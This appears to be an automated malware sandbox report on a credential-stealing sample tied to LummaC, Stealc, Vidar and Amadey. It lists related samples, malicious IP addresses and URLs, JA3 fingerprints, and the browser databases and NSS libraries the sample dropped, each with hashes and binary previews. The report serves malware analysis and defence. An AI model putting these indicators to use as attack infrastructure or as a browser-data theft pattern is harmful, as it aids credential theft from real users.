	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	195.201.57.90
	yde4cz.cmd	Get hash	malicious	Unknown	Browse	195.201.57.90
	PqSIlYOaIF.exe	Get hash	malicious	LummaC, Xmrig	Browse	78.47.21.153
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://gerneva.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	Setup.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://attack.mitre.org/techniques/T1204/001	Get hash	malicious	Lsass Dumper, Mimikatz, Trickbot	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://xblgo.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://invoicehome.uk/invoice.zip	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	BlackLizard3_crypted_LAB.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.197.127.21 20.189.173.10
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	45.112.123.126 49.12.130.36
	Setup.exe	Get hash	malicious	Unknown	Browse	45.112.123.126 49.12.130.36
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	45.112.123.126 49.12.130.36

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBAKJJDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFHDAEGHDGDBGDGDAAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAECFHJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJEGCGDGHDHIDHDGCBGIJKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHCAKKEGCAAFHJJJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCFBFBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFHJJDHJEGHJKECBGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\081eb93126.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bcfa72bd-ef57-4519-ad7e-6fc790a80290[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text, with very long lines (502), with no line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.807237584780118
Encrypted:	false
SSDEEP:	12:hsbsHMnf87KXyg4GAdqIUPqIZ5qIyrfQzqIH:hsbssnfig1AdXUPXZ5XOfYXH
MD5:	F66D1D8C6F8E55B45BE37A2A933FFE8A
SHA1:	505B5918F9382E9AA1B86D6EC60FE9A06E4DFF04
SHA-256:	58031909605AC96260B94A82FC89860FAB82410C9E6C06D0E4F239F43EC7A965
SHA-512:	76984A5B55DF476D1F0F642216CFAADD4AD84B37C83F46FBAA79791D2267C20143CB612D79D1F48B23E6AD28B9A18CA8212754EDA2EE40C3364851BB63B6ACF1
Malicious:	false
Preview:	<!DOCTYPE html><html lang='en'><head><meta charset='utf-8' /><title>decrypter.exe</title><meta name='keywords' content='gofile,download,upload,free,host,storage,share,large,file,video,image,audio,cdn,direct,link' /><meta name='description' content='82.5 MiB' /><meta property='og:title' content='decrypter.exe'><meta property='og:description' content='82.5 MiB'><meta property='og:image' content='https://gofile.io/dist/img/logo-small-og.png'><meta property='og:type' content='website' /></head></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1759232
Entropy (8bit):	7.945191827315913
Encrypted:	false
SSDEEP:	49152:icHc852wKI0DTbd9LY0fNs6ylzj3+/oF6Vg0ScMY/:icHc8+THLpfNsxOoUW0DM
MD5:	0EB9375B1842C87FD94163A21CB3C0B9
SHA1:	F373C2A31B762C5F52F704F19C3B9C5A51BD8A37
SHA-256:	7D2DE697B55472A9486D9A4850691CF9CAAD0B63ADFC98D7F507EE35598F53BC
SHA-512:	BFAE5E4381620E1B2387DF52433F7B98C961E1A73F2E2C53EFD1963E0A709CFF51CE449C4090EE89F92963DE3DA4FBCC0B0F1DD9F989BF8ADFAD24564401552B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@"......pg...........@...........................g......6....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .`)...$......t..............@...guahhyfc.@... N..:...v..............@...tjntcrwt.....`g.....................@....taggant.0...pg.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
